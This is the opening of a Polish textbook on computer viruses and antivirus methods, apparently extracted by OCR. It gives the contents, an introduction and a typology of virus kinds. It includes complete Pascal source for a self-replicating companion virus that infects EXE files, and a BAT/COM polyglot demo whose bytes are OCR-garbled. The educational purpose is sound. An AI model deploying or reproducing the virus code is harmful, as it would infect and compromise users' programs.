Błaszczyk Adam Wirusy

background image

SPIS ROZDZIAŁÓW

Wstęp ............................................ XV
Rozdział 1. Podstawowe wiadomości o wirusach ..............................1
Rozdział 2. Rodzaje wirusów ..............................................................5
Rozdział 3. Podział wirusów ze względu na sposób działania po
uruchomieniu ..................................................................17
Rozdział 4. Obiekty atakowane przez wirusy ....................................33
Rozdział 5. Instalacja w pamięci operacyjnej ....................................97
Rozdział 6. Przejmowanie przerwań i znajdowanie czystych wejść do
systemu ........................................................................109
Rozdział 7. Ukrywanie się w systemie operacyjnym .......................143
Rozdział 8. Szyfrowanie kodu ..........................................................173
Rozdział 9. Inne mechanizmy stosowane przez wirusy ...................213
Rozdział 10. Przyszłość wirusów .......................................................235
Rozdział 11. Rodzaje programów antywirusowych ............................241
Rozdział 12. Techniki używane przez programy antywirusowe .........247
Rozdział 13. Konwencje stosowane przez programy antywirusowe
-standard CARO ............................................................299
Rozdział 14. Profilaktyka antywirusowa ............................................311
Rozdział 15. Literatura .......................................................................319

SPIS TREŚCI
Wstęp XV
Rozdział 1. Podstawowe wiadomości o wirusach .......... 1
1.1. Co to jest i jak działa wirus komputerowy ...............................

3

1.2. Języki programowania wykorzystane do pisania wirusów ...... 4
Rozdział 2. Rodzaje wirusów ..........................................

5

2.1. Wirusy pasożytnicze (ang. parasite infectors) .......................

7

2.2. Wirusy towarzyszące (ang. companion infectors) .................

8

2.3. Wirusy plików wsadowych (ang. batchviruses).......................

12

2.4. Makrowirusy, wirusy makrosów (ang. macroviruses) .............. 13
2.5. Generatory wirusów ................................................................ 14
2.6. Robaki (ang. worms) ..............................................................

14

2.7. Konie trojańskie (ang. trojan horses) ......................................

14

2.8. Bomby logiczne (ang. logical bombs)......................................

15

Rozdział 3. Podział wirusów ze względu na sposób działania
po uruchomieniu ............................................................

17

3.1. Wirusy nierezydentne (ang. non-resident yiruses) ...............

19

3.2. Wirusy rezydentme (ang. resident viruses) ..........................

21

background image

3.2.1. Szybkie infektory (ang. fast infectors) .................................. 31
3.2.2. Wolne infektory (ang. slow infectors) ...................................

32

Rozdział 4. Obiekty atakowane przez wirusy .................. 33
4.1. Pliki...................................................................................35
4.1.1. Pliki wykonywalne COM .............................

35

4.1.2. Pliki wykonywalne EXE ............................... 45
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) ..................... 45
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) .................. 57
4.1.2.2.1. Pliki EXE dla Windows (NE) .............................

59

4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV) ....

66

4.1.4. Pliki systemowe DOS ...............................

75

4.1.4.1. Interpretator poleceń .................................... 75
4.1.4.2. Jądro systemu (ang, kemel infector) ........................ 75
4.1.5. Pliki wsadowe BAT ................................. 76
4.1.6. Pliki DOC .........................................

77

4.1.7. Pliki XLS..........................................

79

4.1.8. Pliki ASM .........................................

80

4.2. Sektory systemowe .................................. 86
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record - MBR) 86
4.3. Rekord ładujący (ang. BOOt-sector)..................... 92
4.4. Jednostki Alokacji Plików (JAP) (ang. dusters) ............

94

4.5. Wirusy kombinowane (ang. multipartition) ................

96

Rozdział 5. Instalacja w pamięci operacyjnej .............

97

5.1. Instalacja w tablicy wektorów przerwań ..................

99

5.2. Instalacja w obszarze zmiennych DOS ..................

100

5.3. Instalacja w pamięci poniżej 640kB i UMB ...............

100

5.4. Instalacja w pamięci HMA .............................

106

5.5. Nietypowe metody instalacji ...........................

107

5.5.1. Pamięć ekranu ....................................

107

5.5.2. Bufory dyskowe DOS ...............................

108

Rozdział 6. Przejmowanie przerwań i znajdowanie czystych
wejść do systemu ...................................

109

6.1. Najczęściej przejmowane i wykorzystywane przerwania .....

111

6.2. Wykorzystanie funkcji DOS ............................

117

6.3. Bezpośrednie zmiany w tablicy wektorów przerwań ,.,,,., 118
6.4. Włączanie się do istniejącego łańcucha obsługi przerwania
i znajdowanie czystych wejść do systemu (ang. tunnelling) .... 119
6.4.1. Korzystanie ze stałych adresów w systemie (przerwania
21hl2Fh) ............................................ 120
6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)... 122
6.4.3. Tuneling rekursywny (ang, recursive tunnelling)........... 122
6.4.4. Trik 2F/13 ........................................ 124
6.5. Wykorzystanie trybu chronionego ....................... 141
6.6. Włączanie się jako program obsługi urządzenia ........... 142
Rozdział 7. Ukrywanie się w systemie operacyjnym ........ 143
7.1. Technika stealth ..................................... 145
7.1.1. Podawanie prawdziwych długości plików (ang, semi-stealth) 146

background image

7.1.1.1. Polecenie DIR wywoływane z poziomu DOS ................. 146
7.1.1.2. Programy nakładkowe używające krótkich nazw programów
(DOS, Windows 3.1)...................................... 149
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows95)
oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS . 150
7.1.2. Podawanie oryginalnych długości i zawartości plików
(ang.full stealth)....................................... 152
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. Sectorlevel stealth)
.............................................. 169
7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych
(ang. hardware level stealth) ............... 169
7.2. Modyfikacja CMOS-a ................................. 170
7.3. Atrybut etykiet dysku (ang. VolumeID) .................. 171
7.4. Dodatkowe ścieżki na dyskach ......................... 171
Rozdział 8. Szyfrowanie kodu ......................... 173
8.1. Procedury szyfrujące kod ............................. 177
8.2. Procedury dekodujące ................................ 178
8.2.1. Polimorficzne procedury dekodujące ................... 179
8.2.1.1. Semi-polimorfizm ........................................ 179
8.2.1.2. Pełny polimorfizm ........................................ 193
Rozdział 9. Inne mechanizmy stosowane przez wirusy ..... 213
9.1. Sposoby dostępu do dysków .......................... 215
9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyj-
ne i antyheurystyczne .................................... 227
9.3. Optymalizacje kodu .................................. 231
9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi
monitorami antywirusowymi .................... 232
Rozdział 10. Przyszłość wirusów ......................... 235
10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform
viruses) ............................................. 237
10.2. Wirusy infekujące wewnątrzplikowo (ang, surface infectors) 238
10.3. Wirusy zmienne genetycznie (mutujące swój kod) ........ 238
10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty 239
Rozdział 11. Rodzaje programów antywirusowych ......... 241
11.1. Skanery (ang. scaners) ............................. 243
11.2. Monitory (ang. behaviour blockers, interceptors, resident
monitors) ............................................ 243
11.3. Szczepionki (ang. disinfectors) ....................... 244
11.4. Programy autoweryfikujące .......................... 244
11.5. Programy zliczające sumy kontrolne (ang. integniy checkers). 245
Rozdział 12. Techniki używane przez programy antywirusowe
....................................... 247
12.1. Skaning .......................................... 249
12.2. Heurystycze wyszukiwanie wirusów .................... 272
12.3. Tryb krokowy ...................................... 284
12.4. Emulacja procesora ................................. 284
12.5. Przynęty (ang. baits, decoys) ......................... 285

background image

12.6. Odświeżanie programów systemowych w sektorach ....... 285
12.7. Blokowanie programów używających trybu krokowego ..... 286
12.8. Pobieranie wielkości pamięci operacyjnej ............... 291
Rozdział 13. Konwencje stosowane przez programy antywiru-
sowe - standard CARO ..............................

299

Rozdział 14. Profilaktyka antywirusowa .................. 311
14.1. Ochrona przed wirusami plików uruchamialnych ......... 313
14.2. Ochrona przed bombami logicznymi i końmi trojańskimi ...

315

14.3. Ochrona przed makrowirusami ........................ 316
Rozdział 15. Literatura ...............................

319

Wstęp

Tematem niiejszego opracowania są wirusy komputerowe jeden z najbardziej
tajemniczych i kontrowersyjnych tworów istniejących w świecie komputerów.
Od początku swego istnienia wirusy komputerowe były owiane mgłą tajemnicy zaś ich
twórców uznawano za ludzi wiedzących znacznie więcej niż zwykli śmiertelnicy.
Tymczasem wirus to zwykły program komputerowy który choć może bardziej
wyrafinowany od innych jest na pewno o wiele łatwiejszy do napisania niż jakakolwiek
aplikacja użytkowa czy gra.
Większość spotykanych wirusów to prymitywne przeróbki, bazujące na istniejących od
dawna, klasycznych już i uznawanych za wzorcowe wirusach, takich Jak Jerusalem,
Vienna, Stoned, Vacsina czy wirusy Dark Avengera. Przeróbki ograniczają się
najczęściej do zmiany tekstu wewnątrz wirusa lub ewentualnie sekwencji kodu, czego
wynikiem jest kolejna z licznych mutacji znanego wirusa. Oprócz nich istnieje bardzo
mała grupa wirusów, których pojawienie się na komputerowej scenie wiązało się z
zastosowaniem przez ich autorów nowych, nieznanych jeszcze nikomu sztuczek. Do
tych ostatnich zaliczają się niewątpliwie wirusy wspomnianego już wyżej Dark Avengera,
najsłynniejszego chyba twórcy wirusów komputerowych. On to właśnie jako pierwszy
zastosował metodę zmiennych procedur szyfrujących w swym polimorficznym enginie
MtE, a także jako jeden z pierwszych potrafił omijać zainstalowane monitory
antywirusowe, czy odnajdywać oryginalne wejścia do znajdujących się w BIOS-ie
procedur obsługi przerwania 13h.
Pojawienie się nowego wirusa infekującego nie zajętą jeszcze do tej pory platformę
sprzętową lub programową budzi zwykle nie lada sensację, zwłaszcza gdy w sprawę
wmieszają się media, żerujące na
tego typu historiach. Pomimo że najczęściej trywialny, wirus taki otwiera bowiem kolejną
furtkę dla całej rzeszy późniejszych racjonalizatorów oraz wywołuje istną lawinę
komentarzy na temat bezpieczeństwa systemów komputerowych.
tak widać, twórcy wirusów tworzą środowisko rządzące się swoimi własnymi prawami.
Cały czas trwa wyścig nad wymyśleniem jeszcze lepszych lub całkowicie nowych,
nieznanych wirusów. Ciekawa przykład twórczego podejścia do programowania wirusów
zademonstrował autor ukrywający się pod pseudonimem Stormbringer w wirusie JUMP.
Nazwa wirusa nie jest przypadkowa, gdyż, po de-asemblacji listing tego wirusa składa
się tylko i wyłącznie z samych rozkazów skoków (właściwy kod został sprytnie ukryty
wewnątrz wirusa).

background image

Prymat w programowaniu wirusów wiodą niezaprzeczalnie mieszkańcy państw byłego
bloku wschodniego, głównie Bułgarzy, Rosjanie i Słowacy. Dzieje się tak głównie z
powodu braku, w tych krajach unormowań prawnych dotyczących przestępstw
komputerowych, które istnieją już w wielu państwach zachodnich.
W dobie globalnej ekspansji sieci Internet w zasadzie każda osoba chcąca dowiedzieć
się czegoś o wirusach może dostać się do bogatych, istniejących na całym świecie
archiwów, poświęconych w całości programowaniu wirusów. Oferują one wirusy w wersji
źródłowej, generatory wirusów, kolekcje złapanych egzemplarzy wirusów, a także tzw.
ziny, czyli prowadzone przez wyspecjalizowane grupy magazyny (w postaci plików
tekstowych lub stron HTML), poświęcone programowaniu wirusów (np.: 40HEX, VLAD,
NukE InfoJournal, VBB, Immortal Riot). Za sprawą Intemetu w skład grup prowadzących
te magazyny wchodzą ludzie ze wszystkich stron świata, którzy, co ciekawe, najczęściej
deklarują się jako zagorzali przeciwnicy wirusów destrukcyjnych, a samo
programowanie wirusów traktują jako swoistą sztukę. Po części mają rację, gdyż pisanie
wirusów jest nie tylko świetną okazją do dogłębnego poznania systemu operacyjnego,
ale i sprawdzenia własnych umiejętności programistycznych.
Liczba wirusów złapanych na świecie rośnie z roku na rok i nic me wykazuje na to, aby
tendencja ta miała ulec gwałtownej zmianie. W kolekcji wirusów należącej do jednej z
czołowych firm amerykańskich produkującej programy antywirusowe znajduje się
obecnie ponad 20000 próbek wirusów, z czego ok. 6000 to wirusy całkowicie
różne. Należy pamiętać, iż istnienie wirusów komputerowych jest ściśle związane z
niedoskonałością zarażanych przez nie systemów operacyjnych. Twórcy wirusów
skrzętnie wykorzystują do swych celów wszelkie możliwe luki w systemie:
nieudokumentowane funkcje, systemowe struktury danych, a nawet odnalezione
własnoręcznie błędy w kodzie systemu. To właśnie wirusy - paradoksalnie - pośrednio
wpływają na wzrost bezpieczeństwa systemów komputerowych, gdyż kolejne wersje
różnych środowisk zwykle starają się załatać istniejące luki w systemie.
Osobne miejsce w dyskusjach na temat wirusów zajmują programy antywirusowe (w
literaturze często określane skrótem AV). O ile pisanie wirusów jest raczej
indywidualnym procesem twórczym, o tyle pisanie skutecznych programów
antywirusowych stało się domeną całych grup programistycznych, których członkowie
muszą posiadać o wiele większą wiedzę na temat wirusów niż typowy twórca wirusów.
Usuwanie wirusów jest procesem naprawczym, a to wiąże się z odpowiedzialnością,
którą muszą wziąć na siebie twórcy programów AV. Autorzy wirusów nie muszą
przejmować się ewentualnymi szkodami powstałymi na skutek ich błędu lub nawet
zwykłej niewiedzy. W przypadku programów AV nie można pozwolić sobie nawet na
najmniejsze potknięcie. O ile dodawanie do skanera kolejnych sygnatur typowych i
trywialnych wirusów to zajęcie zajmujące niewiele czasu, o tyle dekodo-wanie i
rozszyfrowywanie kodu najnowszych wirusów, używających kilkustopniowych
zmiennych procedur szyfrujących, sztuczek anty-emulacyjnych, antydebuggerowych i
antydeasemblerowych, zarażających dużą ilość obiektów i będących zwykle wolnymi
infektorami, to zadanie zajmujące bardzo dużo czasu, a i tak często okazuje się, iż
zastosowana metoda nic umożliwia odnalezienia wszystkich wariantów wirusa.
Aby przyspieszyć wymianę informacji na temat wirusów, autorzy różnych programów
antywirusowych z całego świata utworzyli coś w rodzaju organizacji, która zajmuje się
zbieraniem danych o istniejących wirusach oraz o technikach ich wykrywania i
usuwania.

background image

Poniższe rozdziały powinny przynajmniej częściowo wyjaśnić mechanizmy
wykorzystywane przez nowoczesne wirusy i programy antywirusowe. Oprócz typowych i
trywialnych sztuczek, stosowanych od dawna przez wyżej wymienione programy,
omówionych zostało kilka bardziej zaawansowanych technik, m.in.:polimorfizm
(wykorzystywanie zmiennych procedur szyfrujących);
> stealth (zaawansowane ukrywanie się w systemie);
> heurystyka (wykrywanie nowych, nieznanych wirusów na podstawie znajomości
charakterystycznych ciągów instrukcji).
Do zrozumienia całości materiału niezbędna jest podstawowa znajomość komputerów
PC oraz systemów DOS i WINDOWS. Niezbędna jest także przynajmniej pobieżna
znajomość asemblera procesorów 80x86 i jakiegoś języka wysokiego poziomu (np.:
Pascal, C). Niezorientowanego czytelnika odsyłam do pozycji umieszczonych w spisie
na końcu książki.
Dla uproszczenia, w opracowaniu została zastosowana pewna konwencja, dotycząca
używania w tekście funkcji systemu DOS i BIOS. Występujące w tekście skróty
(XXXX/YY) oznaczają użycie funkcji XXXX przerwania programowego YY. Zapis
(4B00/21) oznaczać więc będzie instrukcję uruchomienia programu przy użyciu funkcji
4B00h przerwania programowego 21h obsługiwanego przez DOS, a (4E/4F/21)
oznaczać będzie wywołanie funkcji 4Eh lub 4Fh przerwania programowego 21h, w tym
przypadku realizujących poszukiwania pierwszej (funkcja 4Eh) lub kolejnej (funkcja 4Fh)
pozycji katalogu. Dokładny opis funkcji systemu DOS i BIOS można znaleźć w wielu
różnych opracowaniach, z których najlepszym i najpełniejszym wydaje się stale
rozwijana, dostępna w angielskojęzycznej wersji elektronicznej, lista przerwań Interrupt
List Ralpha Browne'a.
Na koniec warto jeszcze dodać kilka uwag o słownictwie używanym w opracowaniu.
Większość terminów związanych z komputerami jest siłą rzeczy pochodzenia
angielskiego. Próby tworzenia ich polskich odpowiedników mijają się najczęściej z
celem, gdyż powstałe w ten sposób neologizmy nie odzwierciedlają w pełni sensu słów
angielskich. Liczne przykłady z literatury komputerowej (i nie tylko) ostatnich kilku lat
dowiodły, iż jedynym sensownym wyjściem z tej sytuacji jest integracja pewnych
terminów obcojęzycznych z językiem polskim. Z tego też powodu w opracowaniu
używane są (w niezbędnym minimum) terminy angielskie opatrzone odpowiednimi
komentarzami w języku polskim. W sytuacji niemożności znalezienia adekwatnego
polskiego odpowiednika dla słowa angielskiego używane będzie słowo obce (np.
stealth).

1.1. Co to jest i jak działa wirus komputerowy

Wirus komputerowy definiowany jest najczęściej jako krótki program mający zdolność
samopowielania po jego uruchomieniu. Jest on zwykle przenoszony w zainfekowanych
wcześniej plikach lub w pierwszych sektorach fizycznych logicznych dysków. Proces
infekcji polega zazwyczaj na odpowiedniej modyfikacji struktury pliku albo sektora.
Zainfekowaną ofiarę często nazywa się nosicielem (ang. host), a proces
samopowielania - replikacją. Długość typowego wirusa waha się w granicach od
kilkudziesięciu bajtów do kilku kilobajtów i w dużym stopniu zależy od umiejętności
programistycznych jego twórcy, a także od języka programowania użytego do jego
napisania. Od umiejętności i zamierzeń autora zależą także efekty, jakie wirus będzie

background image

wywoływał w zainfekowanym systemie (oczywiście, nie zawsze musi być to próba
formatowania dysku twardego).
Większość z istniejących wirusów zawiera tylko kod odpowiedzialny za replikację (ang.
dropper), natomiast "specjalne efekty" to zwykle działania uboczne spowodowane przez
błędy.
Z powyższego wynika jednoznacznie, iż pomijając istniejącą zawsze możliwość
sabotażu, zarażenie komputera wirusem nastąpić może tylko przy niejawnej współpracy
użytkownika, który, bądź to uruchamiając zarażony program, bądź próbując wczytać
system z zarażonej dyskietki, a nawet odczytując zainfekowany dokument,
nieświadomie sam instaluje wirusa w używanym przez siebie komputerze.

1.2. Języki programowania wykorzystywane do pisania wirusów.

Do zaprogramowania wirusa wystarczy znajomość dowolnego popularnego języka
programowania, np. Pascala czy C, jednak największy procent wirusów pisany jest w
czystym asemblerze. Spowodowane jest to głównie specyfiką kodu generowanego
przez ten język, a zwłaszcza jego zwięzłością. Kod maszynowy programu, który z
punktu widzenia użytkownika nie robi nic, w językach wysokiego poziomu zajmie od
kilkuset bajtów do kilku, a nawet kilkuset kilobajtów. W asemblerze podobny program
zajmie od jednego (instrukcja RET w pliku COM) do czterech bajtów (wywołanie funkcji
4Ch przerwania 21h). Spowodowane jest to tym, iż do każdego wygenerowanego przez
siebie programu kompilatory języków wysokiego poziomu dodają standardowe prologi i
epilogi, niewidoczne dla piszącego w danym języku programisty, które są
odpowiedzialne m.in. za obsługę błędów, stosu, operacje we/wy itp. Można powiedzieć,
iż długość programu wynikowego (rozumianego jako kod maszynowy) jest wprost
proporcjonalna do poziomu języka programowania, w którym został on napisany. Na
korzyść asemblera przemawia także fakt, iż z jego poziomu mamy bardzo dużą
swobodę w dostępie do pamięci czy portów, a programista ma możliwość świadomego
wpływu na kształt przyszłego programu, np. w zakresie używanych instrukcji czy
rozwiązań programowych. Jak widać, programy napisane w asemblerze są optymalne
pod względem szybkości działania i długości kodu, a więc język ten jest jakby stworzony
do programowania wirusów. Jedyną wadą asemblera jest to, iż programów w nim
napisanych nie można przenosić na komputery o innej architekturze, stąd mogą one
egzystować tylko w jednej rodzinie komputerów.
Oprócz typowych języków programowania do zaprojektowania wirusa można
wykorzystać języki makr, wbudowane w nowoczesne edytory tekstów lub arkusze
kalkulacyjne. Zawarte w nich mechanizmy pozwalają na infekcję każdego otwieranego
przez program dokumentu lub arkusza. Ze względu na poziom abstrakcji na Jakim
operują języki makr, są one wymarzonym narzędziem do tworzenia wirusów, zwłaszcza
dla początkujących programistów. Nie muszą się oni bowiem przedzierać przez
dokumentację systemu czy też formaty infekowanych plików. Wszystkie operacje na
fizycznych obiektach są zaimplementowane w makrach i wykonują się bez konieczności
ingerencji programisty.

ROZDZIAŁ 2

2.1. Wirusy pasożytnicze (ang. parasite infectors)

background image

W zasadzie większość istniejących wirusów to wirusy pasożytnicze, które wykorzystują
swoje ofiary do transportu, modyfikując ich strukturę wewnętrzną. Jedynym ratunkiem
dla zainfekowanych obiektów jest użycie szczepionki lub w ostateczności kopii
zapasowych, gdyż zzarażane pliki z reguły nie są przez wirusa leczone. Wyjątek
stanowią nieliczne wirusy wykorzystujące pliki tylko do transportu między komputerami,
mające za główny cel infekcję tablicy partycji lub BOOT sektora dysku twardego. Po
zainfekowaniu któregoś z tych obiektów wirus zmienia działanie i leczy wszystkie
używane pliki znajdujące się na twardym dysku, a infekuje jedynie pliki już znajdujące
się na dyskietkach lub dopiero na nie kopiowane.
Ze względu na miejsce zajmowane w zainfekowanych plikach wirusy pasożytnicze dzieli
się na:
> Wirusy nadpisujące (ang. overwrite infectors), lokujące się na początku pliku, często
nie zapamiętujące poprzedniej zawartości pliku (co w efekcie nieodwracalnie niszczy
plik);
> Wirusy lokujące się na końcu pliku (ang. end of file infectors), najbardziej
rozpowszechniona odmiana wirusów pasożytniczych, które modyfikują pewne ustalone
struktury na początku pliku tak, aby wskazywały na wirusa, po czym dopisują się na jego
końcu;
> Wirusy nagłówkowe (ang. header infectors), lokujące się w nagłówku plików EXE
przeznaczonych dla systemu DOS; wykorzystują one fakt, iż nagłówek plików EXE jest
standardowo ustawiany przez programy linkujące na wielokrotność jednego sektora
(512 bajtów). Zwykle wirusy te nie przekraczają rozmiaru jednego sektora i infekuje
poprzez przejęcie funkcji BIOS służących do odczytu i zapisu sektorów (02,03/13);
> Wirusy lokujące się w pliku w miejscu gdzie jest jakiś pusty, nie wykorzystany obszar
(np. wypełniony ciągiem zer), który można nadpisać nie niszcząc pliku (ang. cave
infectors),
> Wirusy lokujące się w dowolnym miejscu pliku (ang. surface infectors), dość rzadkie,
bardzo trudne do napisania;
> Wirusy wykorzystujące część ostatniej Jednostki Alokacji Pliku JAP (ang. slack space
infector), korzystające z faktu, iż plik rzadko zajmuje dokładnie wielokrotność jednej JAP.

2.2. Wirusy towarzyszące (ang. companion infectors)

Wirusy tego typu są najczęściej pisane w językach wysokiego poziomu. Atakują one
pliki, a ich działanie opiera się na hierarchii stosowanej przez DOS podczas
uruchamiania programów.
W momencie uruchomiania programu, w przypadku nie podania rozszerzenia
uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE,
a na końcu BAT. W przypadku wykorzystywania interpretatora poleceń 4DOS dochodzą
Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT.
Na przykład, jeżeli w jednym katalogu istnieją 3 pliki:
- PROG.BAT,
- PROG.COM,
- PROG.EXE,
to kolejność ich uruchamiania byłaby następująca:
- PROG.COM,
- PROG.EXE,

background image

- PROG.BAT.
Plik PROG.COM będzie się uruchamiać, ilekroć będziemy podawać nazwę PROG bez
rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE można w tym wypadku
uruchomić wyłącznie poprzez podanie jego pełnej nazwy, bądź też poprzez uprzednie
usunięcie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga
albo usunięcia z katalogu obu plików: PROG-COM i PROG.EXE, albo też podania w linii
poleceń całej jego nazwy. Jak widać, wirus ma kilka możliwości, aby zainfekować
uruchamiany program:
- Istnieje plik COM: nie można zastosować infekcji;
- Istnieje plik EXE: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM,
zawierający wirusa;
- Istnieje plik BAT: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM lub
EXE, zawierający wirusa.
Następna próba uruchomienia tak zarażonego programu spowoduje najpierw
uruchomienie podszywającego się pod program wirusa, a dopiero ten, po zakończeniu
pracy, przekaże sterowanie do programu macierzystego, najczęściej poprzez wywołanie
programu interpretatora poleceń z parametrem: /C NazwaPlikuOfiary.
Ciekawym rozszerzeniem techniki opisanej powyżej jest sposób infekcji stosowany
przez wirusy towarzyszące, wykorzystujące zmienną środowiskową PATH (ang. path
companion infectors). Zmienna PATH określa listę katalogów przeszukiwanych przez
system DOS podczas uruchamiania programu. Wirus wykorzystujący tę technikę tworzy
plik, zawierający kod wirusa w innym katalogu, znajdującym się w zmiennej
środowiskowej PATH przed katalogiem, w którym znajduje się zarażana ofiara. W tym
wypadku infekcję można zastosować dla dowolnego z plików COM, EXE, BAT, gdyż
kolejność uruchamiania zależna jest przede wszystkim od zawartości zmiennej PATH.
Na przykład, jeżeli zmienna środowiskowa PATH określona jest jako:
PATH = C:\;C:\DOS;C:\WINDOWS,
a w katalogu C:\DOS umieścimy plik WIN.BAT, to podczas kolejnego wywoływania
systemu WINDOWS (poprzez uruchomienie programu C:\WINDOWS\WIN.COM bez
podawania ścieżki, czyli najczęściej WIN [ENTER]) z katalogu innego niż C:\WINDOWS
system uruchomi najpierw plik C:\DOS\WIN.BAT, a ten dopiero uruchomi właściwy
program C:\WINDOWS\WIN.COM. Poniżej przedstawiono przykład prostego wirusa
towarzyszącego. Jest on napisany w języku Pascal i infekuje parę plików COM, EXE.

(*;------------------------------------------------------------------------;*)
(*; ;*)
(*; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;*)
(*; ;*)
(*; KOMPAN v1.0, Autor : Adam Blaszczyk 1997 ;*)
(*; ;*)
(*; Prosty wirus typu towarzyszacego ;*)
(*; Infekuje pliki EXE w biezacym katalogu ;*)
(*; Do istniejacego pliku EXE dopisuje plik o rozszerzeniu COM ;*)
(*; ;*)
(*;------------------------------------------------------------------------;*)

background image

{$A-,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y-}
{$M 8192,0,16384}

uses
Dos, Crt;

const
MaskaEXE = '*.EXE';

var
Szuk : SearchRec;
NazwaNosiciela,
NazwaOfiary : String;
PlikNosiciela,
PlikOfiary : File;
DlugoscNosiciela : LongInt;
Bufor : Pointer;
I : Byte;
Status : Boolean;

begin

WriteLn;
WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997');
WriteLn;

NazwaNosiciela := ParamStr (0);

WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?');

if UpCase(ReadKey)='T' then
begin

WriteLn;
Status :=False;
FindFirst (MaskaEXE, AnyFile, Szuk);

while (DosError = 0) and (IOResult = 0) and (not Status) do
begin
with Szuk do
if not ((Name='.') or
(Name='..') or
(not (Attr and Directory and VolumeID<>0))) then
begin
NazwaOfiary:=Name;

Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3);

background image

NazwaOfiary:=NazwaOfiary+'COM';

Assign (PlikOfiary, NazwaOfiary);

Reset (PlikOfiary,1);

if IOResult <> 0 then
begin
Status:=True;
WriteLn (' Tworze KOMPANA : ',NazwaOfiary);
Assign (PlikNosiciela, NazwaNosiciela);
Reset (PlikNosiciela, 1);

DlugoscNosiciela := FileSize (PlikNosiciela);
GetMem (Bufor,DlugoscNosiciela);
BlockRead (PlikNosiciela, Bufor^, DlugoscNosiciela);
ReWrite (PlikOfiary,1);
BlockWrite (PlikOfiary , Bufor^, DlugoscNosiciela);
Close (PlikNosiciela);
Close (PlikOfiary);
FreeMem (Bufor, DlugoscNosiciela);
end;
end;
FindNext (Szuk);
end;

If Not Status then WriteLn (' Nie znalazlem zadnego kandydata do infekcji !');
end;

Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4);
NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE';

for I:=1 to ParamCount do
NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I);

SwapVectors;
Exec(GetEnv('COMSPEC'), NazwaNosiciela);
SwapVectors;
end.

2.3. Wirusy plików wsadowych (ang. batchviruses)

Wirusy plików wsadowych wykorzystujące do transportu pliki BAT, istnieją od dość
dawna, pomimo raczej ubogiego zestawu środków, jakimi dysponuje ich potencjalny
twórca. Może wydawać się to niedorzeczne, lecz często potrafią infekować nie tylko pliki
BAT, ale także pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego,

background image

wcale nie tak trudnego, zaprogramowania).
Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy
COM lub EXE (za pomocą polecenia ECHO, którego parametry są przekierowywane do
pliku), zawierający właściwy kod infekujący pliki BAT. Po utworzeniu jest on
wykonywany, a następnie kasowany.
Ze względu na to, iż procesor nie rozróżnia kodu i danych, można, poprzez sprytną
manipulację, utworzyć plik, który będzie mógł się wykonać zarówno Jako typowy plik
BAT, jak i plik COM.
Na przykład typowe polecenia plików wsadowych, wykonywane przez procesor jako
część kodu programu COM, będą rozumiane jako:

polecenie pliku BAT

instrukcje widziane przez procesor

REM

52h PUSH DX ; db 'R'
45h INC BP ; db 'E'
4Dh DEC BP ; db 'M'


ECHO

45h INC BP : db 'E'
43h INC BX : db 'C'
48h DEC AX ; db 'H'
4Fh DEC Dl ; db 'O'

@

40h INC AX ; db '@'

7t0 (deklaracja etykiety - interpretator nie
wykonuje)

3Ah 37h CMP DH.[BX]; db ':7'
74h 30h JZ $+30h ; 't0'

Po uruchomieniu zainfekowanego w ten sposób pliku BAT wirus kopiuje się do pliku
tymczasowego o rozszerzeniu COM i wykonuje się, tym razem jako kod maszynowy.
Poniżej zamieszczono przykład prostego pliku (na dyskietce, w katalogu COMBAT),
który wykonuje się niezależnie od tego, czy jest wywoływany z rozszerzeniem BAT czy
COM. Po uruchomieniu wyświetla on napis informujący o rozszerzeniu, z jakim został
wywołany.
:7█:
@ECHO OFF
@ECHO Dzialam jako plik BAT !
@GOTO KONIEC
¬II-I@ªM_-!ªL-!Dzialam jako plik COM !$
:KONIEC

2.4. Makrowirusy, wirusy makrosów (ang. macroviruses)

Tego typu wirusy to jeden z najnowszych pomysłów. Makrowirusy nie zarażają
programów uruchamiałnych, lecz pliki zawierające definicje makr. Najpopularniejsze
obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne:
Microsoft Excel), SAM (dokumenty: AmiPro).
Do mnożenia się makrowirusy wykorzystują funkcje zawarte w językach makr,
wbudowanych w powyższe aplikacje, np. WordBasic w Microsoft Word lub Visual Basie
for Applications w programie Microsoft Excel.

background image

2.5. Generatory wirusów

Na przestrzeni ostatnich kilku lat pojawiło się wiele programów umożliwiających
stworzenie własnego wirusa, nawet bez znajomości systemu, czy mechanizmów
wykorzystywanych przez wirusy. Narzędzia tego typu są dostępne w sieci Internet.
Korzystając z gotowych modułów w asemblerze można utworzyć wirusa o zadanych
parametrach, wybieranych najczęściej przy pomocy przyjaznego użytkownikowi menu
lub specjalnego pliku definicyjnego. Można więc określić zakres obiektów infekowanych
przez tworzonego wirusa, rodzaj efektów specjalnych, sposób ewentualnej destrukcji, a
także warunki zadziałania efektów specjalnych. Oprócz kodu wynikowego wirusa
